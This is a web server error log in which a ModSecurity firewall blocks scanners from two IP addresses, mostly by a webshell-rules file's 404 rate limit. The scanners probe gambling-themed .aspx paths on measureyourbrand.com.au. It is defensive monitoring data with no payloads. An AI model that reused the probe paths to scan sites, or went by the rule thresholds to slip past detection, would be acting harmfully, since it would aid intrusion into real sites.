[Thu Jan 29 12:05:21.830060 2026] [:error] [pid 20486:tid 20508] [client 217.182.195.179:50442] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aXrcgXgqSZb6GBx5nnNx-QAAARM"]
[Thu Jan 29 12:05:24.573263 2026] [:error] [pid 19071:tid 19142] [client 217.182.195.179:50452] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aXrchJfa8Ix5wWmtmJwMUwAAAIk"]
[Thu Jan 29 12:05:27.476345 2026] [:error] [pid 20576:tid 20592] [client 217.182.195.179:50468] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aXrchyrDZws_FlQGi9cTKQAAAcY"]
[Thu Jan 29 12:05:30.116175 2026] [:error] [pid 20519:tid 20565] [client 217.182.195.179:54660] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aXrcigo4s4fyROrkyRmEgQAAAZE"]
[Thu Jan 29 12:05:33.091673 2026] [:error] [pid 20486:tid 20496] [client 217.182.195.179:54662] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aXrcjXgqSZb6GBx5nnNyDgAAAQc"]
[Thu Jan 29 12:05:35.799796 2026] [:error] [pid 20579:tid 20642] [client 217.182.195.179:54666] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aXrcjzVXNopcNyjJc9WzrQAAAkE"]
[Thu Jan 29 12:05:38.363806 2026] [:error] [pid 20576:tid 20592] [client 217.182.195.179:54680] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aXrckirDZws_FlQGi9cTNwAAAcY"]
[Thu Jan 29 12:05:40.937994 2026] [:error] [pid 19071:tid 19147] [client 217.182.195.179:60010] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aXrclJfa8Ix5wWmtmJwMegAAAI4"]
[Thu Jan 29 12:05:43.810415 2026] [:error] [pid 20578:tid 20619] [client 217.182.195.179:60026] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aXrclw6UX7yOMwQFiyfMfwAAAgY"]
[Thu Jan 29 12:05:46.492769 2026] [:error] [pid 19070:tid 19122] [client 217.182.195.179:60030] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aXrcmrou83lIon_aKgZ2PQAAAFA"]
[Thu Jan 29 12:42:38.572914 2026] [:error] [pid 20578:tid 20620] [client 43.130.228.73:34624] [client 43.130.228.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXrlPg6UX7yOMwQFiyfUfAAAAgc"]
[Thu Jan 29 16:20:17.022399 2026] [:error] [pid 20576:tid 20600] [client 62.84.185.67:49326] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aXsYQSrDZws_FlQGi9dDqwAAAc4"]
[Thu Jan 29 16:20:19.628825 2026] [:error] [pid 19070:tid 19127] [client 62.84.185.67:49336] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aXsYQ7ou83lIon_aKgaxeAAAAFU"]
[Thu Jan 29 16:20:22.204388 2026] [:error] [pid 20486:tid 20511] [client 62.84.185.67:49344] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aXsYRngqSZb6GBx5nnO7iAAAARY"]
[Thu Jan 29 16:20:24.933184 2026] [:error] [pid 20580:tid 20680] [client 62.84.185.67:49356] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aXsYSJCZ5HHdXPmeL5_o7wAAAow"]
[Thu Jan 29 16:20:27.673676 2026] [:error] [pid 19070:tid 19114] [client 62.84.185.67:44424] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aXsYS7ou83lIon_aKgaxfAAAAEg"]
[Thu Jan 29 16:20:30.268320 2026] [:error] [pid 20576:tid 20599] [client 62.84.185.67:44430] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aXsYTirDZws_FlQGi9dDtAAAAc0"]
[Thu Jan 29 16:20:33.025787 2026] [:error] [pid 20486:tid 20489] [client 62.84.185.67:44442] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aXsYUXgqSZb6GBx5nnO7mwAAAQA"]
[Thu Jan 29 16:20:35.768661 2026] [:error] [pid 19070:tid 19116] [client 62.84.185.67:44444] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aXsYU7ou83lIon_aKgaxfwAAAEo"]
[Thu Jan 29 16:20:38.629943 2026] [:error] [pid 20519:tid 20555] [client 62.84.185.67:46442] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aXsYVgo4s4fyROrkyRm0HQAAAYc"]
[Thu Jan 29 16:20:41.343416 2026] [:error] [pid 19070:tid 19106] [client 62.84.185.67:46452] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aXsYWbou83lIon_aKgaxgwAAAEA"]
[Thu Jan 29 16:20:43.852396 2026] [:error] [pid 19070:tid 19127] [client 62.84.185.67:46454] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aXsYW7ou83lIon_aKgaxhwAAAFU"]
[Thu Jan 29 16:20:46.544897 2026] [:error] [pid 20580:tid 20685] [client 62.84.185.67:41000] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aXsYXpCZ5HHdXPmeL5_pBwAAApE"]
[Thu Jan 29 16:20:49.101366 2026] [:error] [pid 19071:tid 19137] [client 62.84.185.67:41010] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aXsYYZfa8Ix5wWmtmJxPXwAAAIQ"]
[Thu Jan 29 16:20:51.817329 2026] [:error] [pid 19071:tid 19146] [client 62.84.185.67:41026] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aXsYY5fa8Ix5wWmtmJxPYQAAAI0"]
[Thu Jan 29 16:20:54.437305 2026] [:error] [pid 19071:tid 19134] [client 62.84.185.67:41028] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aXsYZpfa8Ix5wWmtmJxPYwAAAIE"]
[Thu Jan 29 16:20:56.921374 2026] [:error] [pid 20576:tid 20609] [client 62.84.185.67:14990] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aXsYaCrDZws_FlQGi9dDzwAAAdc"]
[Thu Jan 29 16:20:59.554714 2026] [:error] [pid 20580:tid 20674] [client 62.84.185.67:15000] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aXsYa5CZ5HHdXPmeL5_pFAAAAoY"]
[Thu Jan 29 16:21:02.331819 2026] [:error] [pid 20578:tid 20633] [client 62.84.185.67:15014] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aXsYbg6UX7yOMwQFiycBKgAAAhQ"]
[Thu Jan 29 16:21:04.849704 2026] [:error] [pid 20580:tid 20681] [client 62.84.185.67:15022] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aXsYcJCZ5HHdXPmeL5_pGAAAAo0"]
[Thu Jan 29 16:21:07.563002 2026] [:error] [pid 19069:tid 19079] [client 62.84.185.67:19034] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aXsYc_DHsRM4BJ9a4QsE8QAAAAE"]
[Thu Jan 29 16:21:10.191664 2026] [:error] [pid 19069:tid 19098] [client 62.84.185.67:19040] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aXsYdvDHsRM4BJ9a4QsE9gAAABQ"]
[Thu Jan 29 16:21:12.815407 2026] [:error] [pid 19069:tid 19093] [client 62.84.185.67:19054] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aXsYePDHsRM4BJ9a4QsE9wAAAA8"]
[Thu Jan 29 16:21:45.561516 2026] [:error] [pid 20579:tid 20661] [client 62.84.185.67:36666] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aXsYmTVXNopcNyjJc9XpHwAAAlQ"]
[Thu Jan 29 16:21:48.325733 2026] [:error] [pid 20578:tid 20634] [client 62.84.185.67:11672] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aXsYnA6UX7yOMwQFiycBRAAAAhU"]
[Thu Jan 29 16:21:50.764567 2026] [:error] [pid 20579:tid 20657] [client 62.84.185.67:11682] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aXsYnjVXNopcNyjJc9XpJQAAAlA"]
[Thu Jan 29 16:21:53.387962 2026] [:error] [pid 20578:tid 20625] [client 62.84.185.67:11684] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aXsYoQ6UX7yOMwQFiycBSAAAAgw"]
[Thu Jan 29 16:21:56.231206 2026] [:error] [pid 20519:tid 20561] [client 62.84.185.67:11686] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aXsYpAo4s4fyROrkyRm0UgAAAY0"]
[Thu Jan 29 16:21:58.716677 2026] [:error] [pid 20579:tid 20648] [client 62.84.185.67:65514] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aXsYpjVXNopcNyjJc9XpKgAAAkc"]
[Thu Jan 29 16:22:01.592750 2026] [:error] [pid 20580:tid 20680] [client 62.84.185.67:65528] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aXsYqZCZ5HHdXPmeL5_pUQAAAow"]
[Thu Jan 29 16:22:04.238441 2026] [:error] [pid 20580:tid 20679] [client 62.84.185.67:1030] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aXsYrJCZ5HHdXPmeL5_pVQAAAos"]
[Thu Jan 29 16:22:06.843778 2026] [:error] [pid 19177:tid 19197] [client 62.84.185.67:44988] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aXsYrnipGz0PT8TrQv5gsAAAANI"]
[Thu Jan 29 16:22:09.633846 2026] [:error] [pid 19071:tid 19143] [client 62.84.185.67:44992] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aXsYsZfa8Ix5wWmtmJxPlQAAAIo"]
[Thu Jan 29 16:22:12.440206 2026] [:error] [pid 20580:tid 20684] [client 62.84.185.67:45004] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aXsYtJCZ5HHdXPmeL5_pZAAAApA"]
[Thu Jan 29 16:22:15.084043 2026] [:error] [pid 20578:tid 20613] [client 62.84.185.67:45008] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aXsYtw6UX7yOMwQFiycBfgAAAgA"]
[Thu Jan 29 16:22:17.847361 2026] [:error] [pid 19071:tid 19150] [client 62.84.185.67:3970] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aXsYuZfa8Ix5wWmtmJxPpAAAAJE"]
[Thu Jan 29 16:22:20.530844 2026] [:error] [pid 19071:tid 19141] [client 62.84.185.67:3980] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aXsYvJfa8Ix5wWmtmJxPqAAAAIg"]
[Thu Jan 29 16:22:23.680052 2026] [:error] [pid 20579:tid 20641] [client 62.84.185.67:3990] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aXsYvzVXNopcNyjJc9XpUgAAAkA"]
[Thu Jan 29 16:22:26.491480 2026] [:error] [pid 19177:tid 19193] [client 62.84.185.67:25690] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aXsYwnipGz0PT8TrQv5gyAAAAM4"]
[Thu Jan 29 16:22:29.216006 2026] [:error] [pid 19069:tid 19085] [client 62.84.185.67:25702] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aXsYxfDHsRM4BJ9a4QsFVwAAAAc"]
[Thu Jan 29 16:22:31.816193 2026] [:error] [pid 19177:tid 19181] [client 62.84.185.67:25718] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aXsYx3ipGz0PT8TrQv5g3wAAAMI"]
[Thu Jan 29 16:22:34.461481 2026] [:error] [pid 19069:tid 19091] [client 62.84.185.67:25724] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aXsYyvDHsRM4BJ9a4QsFYwAAAA0"]
[Thu Jan 29 16:22:36.998934 2026] [:error] [pid 19070:tid 19107] [client 62.84.185.67:51574] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aXsYzLou83lIon_aKgayAAAAAEE"]
[Thu Jan 29 16:22:39.765712 2026] [:error] [pid 19069:tid 19096] [client 62.84.185.67:51586] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aXsYz_DHsRM4BJ9a4QsFaAAAABI"]
